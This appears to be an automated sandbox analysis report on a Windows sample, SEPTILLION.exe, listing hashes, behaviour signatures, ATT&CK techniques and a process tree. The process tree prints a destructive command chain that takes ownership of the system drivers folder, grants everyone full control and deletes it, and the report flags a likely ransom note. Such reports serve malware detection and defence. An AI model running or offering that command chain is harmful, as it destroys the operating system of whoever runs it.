74fdc8a1f2dead711e1a8b32c07bf31c8abb44631715200ea07faa0b5fafc887

Analysis

max time kernel
93s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
01/08/2024, 21:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SEPTILLION.exe
Size

2.0MB
MD5

eec35ab5cf692a7054f1777a866d0527
SHA1

ea11df7ff5114a97ec8279e7a48422104b67e91e
SHA256

74fdc8a1f2dead711e1a8b32c07bf31c8abb44631715200ea07faa0b5fafc887
SHA512

79c64e2d45a22e091d97fa9c760bdc0c44822e1f9fb3ae529a7839db32966e845dbc5fc6fcbd5cf0003220d7343315b91020784094eac39d5909cd7f92f19e1e
SSDEEP

24576:o3O27ErMSbmnwzk5U2bXJkTJ4Oe1NFWX:6O2tSbmwzk5U8SJ/3

Score

8^/10

discovery exploit

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\system32\drivers\rteth.sys	cmd.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
5016	takeown.exe
5068	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3881032017-2947584075-2120384563-1000\Control Panel\International\Geo\Nation	SEPTILLION.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5016	takeown.exe
5068	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	\??\c:\windows\system32\note.txt	SEPTILLION.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3881032017-2947584075-2120384563-1000_Classes\Local Settings	SEPTILLION.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
224	NOTEPAD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5016	takeown.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 1992	4776	SEPTILLION.exe	87
PID 4776 wrote to memory of 1992	4776	SEPTILLION.exe	87
PID 4776 wrote to memory of 224	4776	SEPTILLION.exe	89
PID 4776 wrote to memory of 224	4776	SEPTILLION.exe	89
PID 1992 wrote to memory of 5016	1992	cmd.exe	90
PID 1992 wrote to memory of 5016	1992	cmd.exe	90
PID 1992 wrote to memory of 5068	1992	cmd.exe	91
PID 1992 wrote to memory of 5068	1992	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe
"C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe"
1⤵
- Checks computer location settings
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && del /s /q /f c:\windows\system32\drivers && exit
  2⤵
  - Drops file in Drivers directory
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\takeown.exe
    takeown /f c:\windows\system32\drivers\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5016
- - C:\Windows\system32\icacls.exe
    icacls c:\windows\system32\drivers\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5068
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\windows\system32\note.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\windows\system32\note.txt

Filesize
103B

MD5
7aa2ee17550a109688c931e02ec57a16

SHA1
5cb09086694a0ec5f4d5f7c7f3c9bb4e7027d222

SHA256
57d57023a94931f62d3f5d1a72c93708db78f30117e50a8497826b5b95d3babb

SHA512
fcc8aee7f8d4725ae9a03eda97fa93fd242a161747294c861eca149fdaf8358e11f6f29aefde33796ff4d76f6d7765b3e23817836ec2706ae22a4903f309f089

Download Submit
memory/4776-0-0x00007FF65CE60000-0x00007FF65D132000-memory.dmp

Filesize
2.8MB

Download
memory/4776-4-0x00007FF65CE60000-0x00007FF65D132000-memory.dmp

Filesize
2.8MB

Download